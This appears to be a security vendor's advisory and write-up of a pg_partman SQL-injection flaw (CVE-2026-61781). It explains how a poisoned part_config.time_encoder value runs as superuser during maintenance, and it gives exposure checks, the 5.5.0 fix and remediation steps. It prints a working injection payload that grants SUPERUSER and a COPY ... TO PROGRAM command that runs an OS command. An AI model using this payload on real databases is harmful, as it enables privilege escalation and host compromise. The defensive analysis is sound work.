The Maintenance Worker Runs as Superuser: pg_partman's Config-Column SQL Injection (CVE-2026-61781)
pg_partman is the PostgreSQL partition manager that quietly keeps large tables partitioned by time or ID — creating tomorrow's partitions and dropping last quarter's on a schedule. CVE-2026-61781 turns one of its own configuration columns into a privilege-escalation surface: a low-privileged user who can write to the part_config table stores SQL in a text field, and the next time a privileged maintenance run fires — the background worker, which defaults to running as a superuser — that SQL executes with superuser rights. From there, PostgreSQL superuser is OS command execution. We reproduced the whole chain against pg_partman 5.4.3 in a throwaway container, and confirmed 5.5.0 shuts it.

Real reproduction. A non-superuser with only UPDATE on part_config poisons time_encoder; when the attacker runs maintenance themselves nothing happens (the function is SECURITY INVOKER), but a privileged maintenance run executes the payload as superuser — and then COPY … TO PROGRAM runs an OS command as uid=999(postgres). On 5.5.0 the identical payload is neutralized.
The Vulnerability
CVE-2026-61781 is CWE-89 (SQL Injection) compounded by CWE-269 (Improper Privilege Management). pg_partman supports partition sets keyed by an arbitrary text or uuid column by storing two helper function names in its config table: an encoder that maps a timestamp to the key, and a decoder that maps back. In create_partition_time(), the encoder name is interpolated into a dynamically-executed statement with %s — raw string substitution, not %I (quoted identifier):
-- pg_partman 5.4.3, sql/functions/create_partition_time.sql:213
EXECUTE format('SELECT %s(%L)', v_time_encoder, v_partition_timestamp_start)
INTO v_partition_text_start;v_time_encoder is read straight from part_config.time_encoder, a plain text column with no CHECK constraint and no trigger. Anyone who can UPDATE that row — the write access on part_config that a non-superuser pg_partman operator needs — can store statements instead of a function name. Because %L only quotes the timestamp literal, a value like:
public.enc(now()::text); ALTER ROLE attacker SUPERUSER; SELECT public.enc
turns the executed text into three statements — a harmless encoder call, an ALTER ROLE, and a trailing SELECT public.enc('<timestamp>') that swallows the format string's tail and stays syntactically valid. The malicious row persists in part_config, so it re-fires on every future maintenance run that creates a partition for that set.
Why It Escalates: the Worker, Not the Attacker
The subtle and important part is who runs the poisoned SQL. Both create_partition_time() and run_maintenance() are declared SECURITY INVOKER — they execute with the privileges of the caller, not the definer. So if the attacker triggers maintenance themselves, the injected ALTER ROLE runs as the attacker and fails. There is no self-service escalation.
The escalation comes from the environment. pg_partman's whole point is automated maintenance, driven by its background worker pg_partman_bgw — and the worker's documented default role is postgres, the superuser. (An admin cron job invoking run_maintenance() as postgres does the same thing.) When that privileged run creates the next partition, it reads the poisoned config and executes it in a superuser context. The attacker supplies the payload; the scheduler supplies the privilege. That split is exactly why the CVSS vector carries S:C (Scope Changed) and PR:L (only low privilege required of the attacker).
Two honest conditions on that. The background worker is opt-in — it has to be added to shared_preload_libraries — so this is not "every install is exploitable out of the box." But any deployment that actually uses pg_partman's automated maintenance runs it as a superuser by default, which is the common case. And the final hop — superuser to operating-system command execution — is the well-known property that a PostgreSQL superuser can run OS commands (via COPY … TO PROGRAM, or untrusted procedural languages); pg_partman itself never shells out. The chain is real; each link deserves its precise description.
Reproducing It
In an isolated postgres:16 container we installed pg_partman 5.4.3 (the last release before the fix), created a text-keyed partition set with an encoder, and a login role attacker holding only SELECT/INSERT/UPDATE on part_config — not superuser. The four observations:
[1] attacker (non-superuser) poisons the column:
UPDATE partman.part_config SET time_encoder =
'public.enc(now()::text); ALTER ROLE attacker SUPERUSER; SELECT public.enc'
-> UPDATE 1 (only needs UPDATE on part_config)
[2] attacker runs maintenance THEMSELVES -> rolsuper(attacker) = f
(SECURITY INVOKER: the payload runs as the attacker, and fails)
[3] a PRIVILEGED maintenance run fires (bgw default role = postgres)
-> rolsuper(attacker) = t <- low-priv user is now superuser
[4] attacker (now superuser) -> OS command as the service account:
COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)Cell [2] is the one most write-ups would get wrong: the attacker cannot escalate by calling maintenance themselves. Cell [3] is the bug — the same poisoned row, executed by a privileged scheduler, flips a low-privilege role to superuser. Cell [4] is the generic consequence of being a superuser. Impact, stated exactly: an authenticated, low-privileged user reaches full database compromise and OS command execution as the postgres service account. CVSS 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) — critical, but authenticated and conditioned on a superuser-context maintenance run, not "unauthenticated RCE."
AM I EXPOSED?
- AFFECTEDpg_partman < 5.5.0 (all releases up to and including 5.4.3) running a text- or uuid-keyed partition set (the encoder path), where automated maintenance runs in a superuser context — the background worker's documented default role is postgres. The attacker needs only UPDATE on part_config.
- NOT YOUDeployments using only plain time-keyed partitioning (the encoder path is never reached). Deployments whose maintenance runs as a non-superuser role. pg_partman 5.5.0+, which validates the identifier and no longer defaults the worker to a superuser.
- CHECKOn the database: list who can write the config table and confirm your maintenance role — psql -c "SELECT grantee, privilege_type FROM information_schema.role_table_grants WHERE table_name='part_config' AND privilege_type IN ('INSERT','UPDATE');" and psql -c "SELECT current_setting('pg_partman_bgw.role', true);" (returns the worker's role, or NULL if the worker isn't loaded; if it is postgres or another superuser, an injected config row would run with those rights). Check the version with SELECT extversion FROM pg_extension WHERE extname='pg_partman';.
- FIXUpgrade to pg_partman 5.5.0 or later (the fix ships only in 5.5.0 — no backport). As defense in depth, set pg_partman_bgw.role to a dedicated non-superuser, and restrict UPDATE on part_config to trusted roles only.
The Fix — Two Things at Once
5.5.0 routes the encoder name through a new validator before interpolation:
-- pg_partman 5.5.0, sql/functions/create_partition_time.sql:216
v_time_encoder_safe := partman_safe_obj_name(v_time_encoder);
EXECUTE format('SELECT %s(%L)', v_time_encoder_safe, v_partition_timestamp_start)
INTO v_partition_text_start;Replaying the identical payload against 5.5.0, the whole poisoned string is quoted into a single double-quoted identifier the semicolons cannot break out of — the executed statement becomes a call to a function that does not exist, the ALTER ROLE never runs, and the attacker stays non-superuser. The format string still uses %s, but the value passed to it is one partman_safe_obj_name() has already quoted — it splits the name on the dot and runs each part through %I, so a schema-qualified encoder still works while any injected SQL is trapped inside a double-quoted identifier. Just as important, 5.5.0 changes the background worker's default role away from superuser and documents running maintenance with no superuser at all — the vendor's fix is as much "stop running maintenance as superuser" as it is "sanitize the column." That is the reusable lesson: a config value a low-privileged user can write becomes remote code execution only because the daemon that consumes it is over-privileged.
One of a Batch
CVE-2026-61781 was fixed in 5.5.0 alongside a family of sibling issues in the same release (roughly CVE-2026-61817 through 61822), including the matching time_decoder injection that reaches more functions, and injections via the pg_jobmon integration and template-table inheritance (the range also includes related hardening changes that are not injections). If you run pg_partman, treat the upgrade to 5.5.0 as the unit of remediation rather than this single CVE.
Investigation Workflow
This is not a network-discovery bug — it lives inside an authenticated database session — so the investigation is on-box, not on the wire. Three questions:
1. Is pg_partman present, and which version?
SELECT extname, extversion FROM pg_extension WHERE extname = 'pg_partman'; — anything below 5.5.0 carries the flaw.
2. Who can write the config, and does an encoder set exist?
Enumerate INSERT/UPDATE grants on part_config, and check for text/uuid-keyed sets with a non-null time_encoder or time_decoder. A non-superuser with write access to that table on a vulnerable version is the precondition.
3. What runs maintenance, and as whom?
SELECT current_setting('pg_partman_bgw.role', true); (NULL means the worker isn't loaded) and inspect any cron/pg_cron job calling run_maintenance(). If maintenance runs as a superuser — the default — a poisoned config row escalates on the next tick. A non-superuser maintenance role removes the escalation even before you patch.
Remediation
- Upgrade to pg_partman 5.5.0+. The identifier-validation fix ships only in 5.5.0; there is no backport to the 5.4.x line.
- Stop running maintenance as a superuser. Set pg_partman_bgw.role to a dedicated least-privilege role. This breaks the escalation independently of the code fix and is the change 5.5.0 itself adopts as the new default.
- Lock down part_config. Restrict INSERT/UPDATE on the config table to trusted roles; a low-privileged application role rarely needs to write it directly.
- Audit existing config rows. Inspect time_encoder/time_decoder for anything that is not a bare function name, and review roles for unexpected rolsuper. Patch the sibling CVEs in the same 5.5.0 upgrade.
Triage Notes
- On-box checks prove: the pg_partman version, who holds INSERT/UPDATE on part_config, whether an encoder/decoder set exists, and the maintenance role (current_setting('pg_partman_bgw.role', true) / cron).
- This is not remotely fingerprintable: it is an authenticated in-database flaw, so there is no network signature — treat it as a configuration-review item, not a scan target.
- Escalation requires two parties: a low-priv writer of part_config AND a privileged maintenance run. Either half alone is inert — a non-superuser maintenance role is a full mitigation on its own.
- Escalation threshold: pg_partman < 5.5.0, a text/uuid-keyed set, a non-superuser able to write part_config, and maintenance running as a superuser. Remove any one and it drops to a routine upgrade.
- Finding statement: "The database runs pg_partman < 5.5.0 with a text/uuid-keyed partition set; a non-superuser can write part_config.time_encoder, which create_partition_time() interpolates unquoted, so a superuser-context maintenance run executes attacker SQL — low-priv to superuser to OS command execution as the postgres service account (CVE-2026-61781, CWE-89/269, CVSS 9.9). Upgrade to 5.5.0, run maintenance as a non-superuser, and restrict writes to part_config."
This one lives inside the database rather than on the network, so it is a configuration-review finding rather than a RECON scan target — RECON maps what answers on your network; the privilege audit here is on-box. Get RECON on the App Store.
Follow @hellorecon for new CVE investigations.
Sources
- → pg_partman Advisory GHSA-742w-3j7c-qwvp (CVE-2026-61781)
- → CVE record: CVE-2026-61781
- → OSV: CVE-2026-61781 (versions, fix commits)
- → Mehmet Ince — original advisory (discoverer)
- → pg_partman CHANGELOG — 5.5.0 fixes and hardening
- → MITRE: CWE-89 SQL Injection · CWE-269 Improper Privilege Management
This, pointed at the software you run
Every month, every CVE published against the software you run: triaged by hand, in plain words, with the one that deserves attention written up the way these are.
REQUEST PERSONAL BRIEFING →